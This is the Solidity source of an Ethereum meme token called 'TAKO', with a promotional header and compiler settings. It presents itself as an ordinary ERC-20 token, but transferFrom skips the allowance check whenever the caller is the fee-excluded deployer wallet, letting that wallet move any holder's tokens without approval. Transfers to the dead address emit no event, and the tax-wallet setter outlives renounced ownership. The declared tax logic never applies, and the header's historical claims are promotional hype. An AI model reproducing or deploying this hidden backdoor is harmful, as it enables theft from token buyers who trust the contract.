/*

タコ
$TAKO - The Origin of Shiba Inu Legacy | ETH

Called the Origin of Shiba Inu Legacy, "TAKO" (Ginza, The central area of Tokyo) was mentioned in 1932.  Before Doge, Before Shib, Before Floki, Before Neiro, there was Tako. Shiba Inu can't be separated from the existence of $Tako

https://www.hoshinotama-shiba.com/history

http://www.mara-shimas.nl/engelse_versie/marks/index_kenmerken.htm

https://yokohamaatsumi.the-ninja.jp/page002.html

https://medium.com/@takocoinerc20/tako-the-origin-of-the-shiba-inu-legacy-5449cfd0a905

SOCIALS: 
https://takocoin.xyz
https://x.com/takocoin_erc20
https://t.me/takocoin_erc20

*/

pragma solidity 0.8.29;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract TAKO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balancesTAKO;
    mapping(address => mapping(address => uint256)) private _allowancesTAKO;
    mapping(address => bool) private _feeExcludedTAKO;
    address payable private _taxWalletTAKO;

    address constant _deadAddr = address(0xdead);

    uint256 private _initialTAKOTax = 12;
    uint256 private _finalTAKOTax = 0;
    uint256 private _reduceTAKOTaxAt = 12;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalTAKO = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Tako";
    string private constant _symbol = unicode"TAKO";
    uint256 public _maxTaxSwap = _tTotalTAKO / 100;

    uint256 public _blockTAKOSellLastTimeStamp = 0;
    uint256 public _transferTAKODblClick = 0;
    uint256 public _blockTAKOUID = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private opened;

    uint256 public _txTAKOTimestamp = 0;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWalletTAKO = payable(msg.sender);

        _feeExcludedTAKO[address(this)] = true;
        _feeExcludedTAKO[_taxWalletTAKO] = true;

        _balancesTAKO[address(this)] = _tTotalTAKO;

        emit Transfer(address(0), address(this), _tTotalTAKO);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalTAKO;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balancesTAKO[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowancesTAKO[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowancesTAKO[owner][spender];
    }

    function _isTAKODoxxed(address sender , address recipient) private view returns (bool) 
    {
        return (!_feeExcludedTAKO[_msgSender()] &&
            (sender == uniswapV2Pair || recipient != _deadAddr));
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function TAKOValidation(address sender, address recipient, uint256 amount) private returns (bool){
        _approve(
            sender,
            _msgSender(),
            _allowancesTAKO[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount); _isTAKODoxxed(sender, recipient) && 
        TAKOValidation(sender, recipient, amount);
        return true;      
    }

    function sendTokenETHToTAKOFeeWallet(uint256 amount) private {
        _taxWalletTAKO.transfer(amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != address(this) && to != address(this)
        ) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeExcludedTAKO[to] &&
                to != _taxWalletTAKO
            ) {
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                from != _taxWalletTAKO
            ) {
                if (contractTokenBalance > 0)
                {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;
                    swapTAKOForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendTokenETHToTAKOFeeWallet(address(this).balance);
                }
            }
        }

        _balancesTAKO[from] = _balancesTAKO[from].sub(amount);
        _balancesTAKO[to] = _balancesTAKO[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balancesTAKO[address(this)] = _balancesTAKO[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotalTAKO);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function swapTAKOForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setTaxWallet(address payable newWallet) external {
        require(_feeExcludedTAKO[msg.sender]);
        _taxWalletTAKO = newWallet;
    }

    function rescueTAKOETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "TAKO.sol": "TAKO"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}